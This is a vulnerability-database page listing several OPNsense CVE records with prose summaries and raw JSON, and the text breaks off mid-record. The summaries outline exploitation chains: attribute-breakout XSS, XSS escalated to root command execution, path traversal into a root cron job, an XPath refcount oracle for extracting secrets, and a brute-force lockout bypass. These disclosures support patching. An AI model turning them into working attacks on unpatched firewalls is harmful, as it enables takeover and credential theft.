OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, Firewall Rules and NAT views place stored category names and alias descriptions into HTML title attributes in filter_rule.volt and nat_rule.volt without quote-safe encoding. The response layer uses ENT_NOQUOTES, so a double quote survives and closes the attribute, allowing an event-handler attribute to be added to the existing span. A user with Firewall Categories or Firewall Alias Edit privileges can store a category name or alias description; the category must be assigned to a filter or NAT rule, or the alias must be referenced by a rule source or destination, and the rule must be saved so the affected tooltip is rendered. Script then executes in the session of an administrator or other user who opens the affected Rules or NAT page. The script can access CSRF material and perform authenticated actions as the victim. This issue is fixed in version 26.1.11.
Severity
5.4 (Medium)
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/5e6313f50… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/fb3b8a07f… | x_refsource_MISC |
| https://hackerask.com/posts/opnsense | x_refsource_MISC |
{
"containers": {
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, Firewall Rules and NAT views place stored category names and alias descriptions into HTML title attributes in filter_rule.volt and nat_rule.volt without quote-safe encoding. The response layer uses ENT_NOQUOTES, so a double quote survives and closes the attribute, allowing an event-handler attribute to be added to the existing span. A user with Firewall Categories or Firewall Alias Edit privileges can store a category name or alias description; the category must be assigned to a filter or NAT rule, or the alias must be referenced by a rule source or destination, and the rule must be saved so the affected tooltip is rendered. Script then executes in the session of an administrator or other user who opens the affected Rules or NAT page. The script can access CSRF material and perform authenticated actions as the victim. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-83",
"description": "CWE-83: Improper Neutralization of Script in Attributes in a Web Page",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:12:08.334Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-2xrm-p255-p43h",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-2xrm-p255-p43h"
},
{
"name": "https://github.com/opnsense/core/commit/5e6313f50546474031805039e209830b63b2b0e4",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/5e6313f50546474031805039e209830b63b2b0e4"
},
{
"name": "https://github.com/opnsense/core/commit/fb3b8a07f407ce281b1dde748706acbb0bc514ce",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/fb3b8a07f407ce281b1dde748706acbb0bc514ce"
},
{
"name": "https://hackerask.com/posts/opnsense",
"tags": [
"x_refsource_MISC"
],
"url": "https://hackerask.com/posts/opnsense"
}
],
"source": {
"advisory": "GHSA-2xrm-p255-p43h",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Stored XSS in Firewall Rules/NAT pages via a HTML-attribute breakout"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-58391",
"datePublished": "2026-10-15T15:12:08.334Z",
"dateReserved": "2026-06-30T18:19:58.377Z",
"dateUpdated": "2026-10-15T15:12:08.334Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-58390 (GCVE-0-2026-58390)
Vulnerability from nvd – Published: 2026-10-15 15:21 – Updated: 2026-10-15 15:21
VLAI
EPSS
VEX
Title
OPNsense: Stored XSS to root RCE via OpenVPN client common_name in status views
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the OpenVPN connection-status dashboard widget in src/opnsense/www/js/widgets/OpenVPNClients.js and the connection-status view place a client common_name into data-common-name attributes without quote-safe encoding. Exploitation requires an OpenVPN server configured with username-as-common-name and RADIUS or LDAP authentication, plus the ability to provision or self-register a valid backend username containing a double quote; deployments where the same administrator controls both the identity backend and firewall do not cross a separate trust boundary. An authenticated client using that username can close the attribute and add an event handler, while the local user database is not affected because its username validator rejects quotes. Script executes in an administrator's session when the administrator opens the dashboard or connection-status page and the injected event is triggered; the demonstrated payload used pointer movement over the client row rather than unconditional page-load execution. The advisory demonstrates that the script can read config.xml, invoke privileged APIs, reset the root password, and obtain root command execution. This issue is fixed in version 26.1.11.
Severity
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/11180daf5… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/e7b2ac809… | x_refsource_MISC |
{
"containers": {
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the OpenVPN connection-status dashboard widget in src/opnsense/www/js/widgets/OpenVPNClients.js and the connection-status view place a client common_name into data-common-name attributes without quote-safe encoding. Exploitation requires an OpenVPN server configured with username-as-common-name and RADIUS or LDAP authentication, plus the ability to provision or self-register a valid backend username containing a double quote; deployments where the same administrator controls both the identity backend and firewall do not cross a separate trust boundary. An authenticated client using that username can close the attribute and add an event handler, while the local user database is not affected because its username validator rejects quotes. Script executes in an administrator\u0027s session when the administrator opens the dashboard or connection-status page and the injected event is triggered; the demonstrated payload used pointer movement over the client row rather than unconditional page-load execution. The advisory demonstrates that the script can read config.xml, invoke privileged APIs, reset the root password, and obtain root command execution. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:21:09.883Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-26cj-h9rj-g5pf",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-26cj-h9rj-g5pf"
},
{
"name": "https://github.com/opnsense/core/commit/11180daf579879d84d91a7fbea7a59320bc80868",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/11180daf579879d84d91a7fbea7a59320bc80868"
},
{
"name": "https://github.com/opnsense/core/commit/e7b2ac8093f804bef8eb88dfa9a0d99fad00c12b",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/e7b2ac8093f804bef8eb88dfa9a0d99fad00c12b"
}
],
"source": {
"advisory": "GHSA-26cj-h9rj-g5pf",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Stored XSS to root RCE via OpenVPN client common_name in status views"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-58390",
"datePublished": "2026-10-15T15:21:09.883Z",
"dateReserved": "2026-06-30T18:19:58.377Z",
"dateUpdated": "2026-10-15T15:21:09.883Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-57155 (GCVE-0-2026-57155)
Vulnerability from nvd – Published: 2026-10-15 15:13 – Updated: 2026-10-15 15:45
VLAI
EPSS
VEX
Title
OPNsense: Root RCE via Arbitrary File Write in GeoIP Alias Importer
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the Firewall Alias GeoIP importer's process_zip() and process_gzip() paths in src/opnsense/scripts/filter/lib/alias/geoip.py use an unvalidated CSV country_code value to construct output filenames below /usr/local/share/GeoIP/alias. A user with Firewall Alias Edit privilege can configure an attacker-controlled GeoIP source URL and supply an archive whose country code traverses into another existing directory, causing attacker-controlled content to be written as root with an -IPv4 or -IPv6 suffix. A crafted newsyslog fragment and oversized log file can use the default hourly root cron job to execute commands as root, resulting in complete firewall compromise. This issue is fixed in version 26.1.11.
Severity
9.9 (Critical)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 15:45 UTC
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/c46aced9c… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/e7fbfaa7f… | x_refsource_MISC |
| https://hackerask.com/posts/opnsense | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-57155",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T15:45:26.496634Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:45:48.529Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-wjqq-rfmm-v5h3"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the Firewall Alias GeoIP importer\u0027s process_zip() and process_gzip() paths in src/opnsense/scripts/filter/lib/alias/geoip.py use an unvalidated CSV country_code value to construct output filenames below /usr/local/share/GeoIP/alias. A user with Firewall Alias Edit privilege can configure an attacker-controlled GeoIP source URL and supply an archive whose country code traverses into another existing directory, causing attacker-controlled content to be written as root with an -IPv4 or -IPv6 suffix. A crafted newsyslog fragment and oversized log file can use the default hourly root cron job to execute commands as root, resulting in complete firewall compromise. This issue is fixed in version 26.1.11."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-73",
"description": "CWE-73: External Control of File Name or Path",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:13:12.343Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-wjqq-rfmm-v5h3",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-wjqq-rfmm-v5h3"
},
{
"name": "https://github.com/opnsense/core/commit/c46aced9c47d956167e294911113bc334fea5f48",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/c46aced9c47d956167e294911113bc334fea5f48"
},
{
"name": "https://github.com/opnsense/core/commit/e7fbfaa7f5e070da667e3f243da11fd3d4b731fa",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/e7fbfaa7f5e070da667e3f243da11fd3d4b731fa"
},
{
"name": "https://hackerask.com/posts/opnsense",
"tags": [
"x_refsource_MISC"
],
"url": "https://hackerask.com/posts/opnsense"
}
],
"source": {
"advisory": "GHSA-wjqq-rfmm-v5h3",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Root RCE via Arbitrary File Write in GeoIP Alias Importer"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-57155",
"datePublished": "2026-10-15T15:13:12.343Z",
"dateReserved": "2026-06-24T01:45:48.698Z",
"dateUpdated": "2026-10-15T15:45:48.529Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-53582 (GCVE-0-2026-53582)
Vulnerability from nvd – Published: 2026-10-15 15:08 – Updated: 2026-10-16 17:13
VLAI
EPSS
VEX
Title
OPNsense: XPATH Injection can disclose any secret in config.xml
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.10, the Trust module stores attacker-controlled certificate authority and certificate refid values and interpolates them into XPath expressions in src/opnsense/mvc/app/models/OPNsense/Trust/FieldTypes/CAsField.php and src/opnsense/mvc/app/models/OPNsense/Trust/FieldTypes/CertificatesField.php. A user with CA Manager or Certificate Manager privileges can submit a crafted refid and repeatedly retrieve the object to obtain a boolean refcount oracle, allowing values in config.xml to be recovered character by character. Exposed values can include password hashes, API credentials, certificate private keys, VPN key material, and high-availability credentials, enabling privilege escalation and compromise of other security domains. This issue is fixed in version 26.1.10.
Severity
7.1 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-15 20:24 UTC
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://github.com/opnsense/core/commit/e2cd06734… | x_refsource_MISC |
| https://github.com/opnsense/core/commit/fc2f0d745… | x_refsource_MISC |
| http://seclists.org/fulldisclosure/2026/Jul/18 |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2026-10-15T15:12:04.797Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"url": "http://seclists.org/fulldisclosure/2026/Jul/18"
}
],
"title": "CVE Program Container"
},
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-53582",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-15T20:24:37.654161Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-16T17:13:42.903Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.10"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.10, the Trust module stores attacker-controlled certificate authority and certificate refid values and interpolates them into XPath expressions in src/opnsense/mvc/app/models/OPNsense/Trust/FieldTypes/CAsField.php and src/opnsense/mvc/app/models/OPNsense/Trust/FieldTypes/CertificatesField.php. A user with CA Manager or Certificate Manager privileges can submit a crafted refid and repeatedly retrieve the object to obtain a boolean refcount oracle, allowing values in config.xml to be recovered character by character. Exposed values can include password hashes, API credentials, certificate private keys, VPN key material, and high-availability credentials, enabling privilege escalation and compromise of other security domains. This issue is fixed in version 26.1.10."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-91",
"description": "CWE-91: XML Injection (aka Blind XPath Injection)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-643",
"description": "CWE-643: Improper Neutralization of Data within XPath Expressions (\u0027XPath Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-15T15:08:46.374Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r"
},
{
"name": "https://github.com/opnsense/core/commit/e2cd067343511252fb0d391a17d82d3ecceece45",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/e2cd067343511252fb0d391a17d82d3ecceece45"
},
{
"name": "https://github.com/opnsense/core/commit/fc2f0d745c17855d2027b192fd4e3fa913e26859",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/opnsense/core/commit/fc2f0d745c17855d2027b192fd4e3fa913e26859"
}
],
"source": {
"advisory": "GHSA-xww7-76m6-mh2r",
"discovery": "UNKNOWN"
},
"title": "OPNsense: XPATH Injection can disclose any secret in config.xml"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-53582",
"datePublished": "2026-10-15T15:08:46.374Z",
"dateReserved": "2026-06-09T19:11:53.484Z",
"dateUpdated": "2026-10-16T17:13:42.903Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-53581 (GCVE-0-2026-53581)
Vulnerability from nvd – Published: 2026-09-08 23:02 – Updated: 2026-09-09 13:37
VLAI
EPSS
VEX
Title
ntp: write path traversal
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.9 of opnsense/core and version 26.4_20 of BE/opnsense/core, a path traversal vulnerability in the NTP configuration module allows an attacker to overwrite arbitrary files on the system as the root user. By manipulating the GPS or PPS serial port parameter, an attacker with access to the NTP configuration can escape the intended directory and force the system to write user-controlled data to any file on the filesystem. Version 26.1.9 of opnsense/core and version 26.4_20 of BE/opnsense/core patch the issue.
Severity
9 (Critical)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-09 13:36 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
Impacted products
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-53581",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-09T13:36:46.542932Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:37:23.831Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-872g-g543-j37m"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.9"
},
{
"status": "affected",
"version": "\u003c 26.4_20"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.9 of opnsense/core and version 26.4_20 of BE/opnsense/core, a path traversal vulnerability in the NTP configuration module allows an attacker to overwrite arbitrary files on the system as the root user. By manipulating the GPS or PPS serial port parameter, an attacker with access to the NTP configuration can escape the intended directory and force the system to write user-controlled data to any file on the filesystem. Version 26.1.9 of opnsense/core and version 26.4_20 of BE/opnsense/core patch the issue."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-73",
"description": "CWE-73: External Control of File Name or Path",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T23:02:07.003Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-872g-g543-j37m",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-872g-g543-j37m"
}
],
"source": {
"advisory": "GHSA-872g-g543-j37m",
"discovery": "UNKNOWN"
},
"title": "ntp: write path traversal"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-53581",
"datePublished": "2026-09-08T23:02:07.003Z",
"dateReserved": "2026-06-09T19:11:53.484Z",
"dateUpdated": "2026-09-09T13:37:23.831Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-45158 (GCVE-0-2026-45158)
Vulnerability from nvd – Published: 2026-05-13 21:54 – Updated: 2026-05-14 12:22
VLAI
EPSS
VEX
Title
OPNsense: Command Injection via Attacker-Controlled DHCP Config
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, unsanitized user input is passed to the DHCP configuration of the configured interface, which is processed by a shell script, allowing remote code execution as root on the underlying operating system. This vulnerability is fixed in 26.1.8.
Severity
9.1 (Critical)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-05-14 12:22 UTC
CWE
- CWE-88 - Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-45158",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-14T12:22:02.967181Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-14T12:22:09.189Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.8"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, unsanitized user input is passed to the DHCP configuration of the configured interface, which is processed by a shell script, allowing remote code execution as root on the underlying operating system. This vulnerability is fixed in 26.1.8."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-88",
"description": "CWE-88: Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-13T21:54:31.679Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/opnsense/core/security/advisories/GHSA-5rx3-w735-74wm",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/opnsense/core/security/advisories/GHSA-5rx3-w735-74wm"
}
],
"source": {
"advisory": "GHSA-5rx3-w735-74wm",
"discovery": "UNKNOWN"
},
"title": "OPNsense: Command Injection via Attacker-Controlled DHCP Config"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-45158",
"datePublished": "2026-05-13T21:54:31.679Z",
"dateReserved": "2026-05-08T20:44:38.964Z",
"dateUpdated": "2026-05-14T12:22:09.189Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-44195 (GCVE-0-2026-44195)
Vulnerability from nvd – Published: 2026-05-13 21:52 – Updated: 2026-05-14 13:46
VLAI
EPSS
VEX
Title
OPNsense: Authentication lockout bypass
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.7, a logic flaw in the OPNsense lockout_handler allows an unauthenticated attacker to continuously reset the authentication failure counter for their IP address. By interjecting a crafted username containing a success keyword ("Accepted" or "Successful login") between normal brute-force attempts, an attacker can prevent the failure counter from ever reaching the lockout threshold. This vulnerability is fixed in 26.1.7.
Severity
5.3 (Medium)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-05-14 13:46 UTC
CWE
- CWE-307 - Improper Restriction of Excessive Authentication Attempts
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://gist.github.com/sopex/b9786e72e2a5d9b1bbd… | exploit |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-44195",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-14T13:46:23.604362Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-14T13:46:30.721Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://gist.github.com/sopex/b9786e72e2a5d9b1bbd81ed8477c351b"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "core",
"vendor": "opnsense",
"versions": [
{
"status": "affected",
"version": "\u003c 26.1.7"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.7, a logic flaw in the OPNsense lockout_handler allows an unauthenticated attacker to continuously reset the authentication failure counter for their IP address. By interjecting a crafted username containing a success keyword (\"Accepted\" or \"Successful login\") between normal brute-force attempts, an attacker can prevent the failure counter from ever reaching the lockout threshold. This vulnerability is fixed in 26.1.7."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-307",
"description": "CWE-307: Improper Restriction of Excessive Authentication Attempts",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
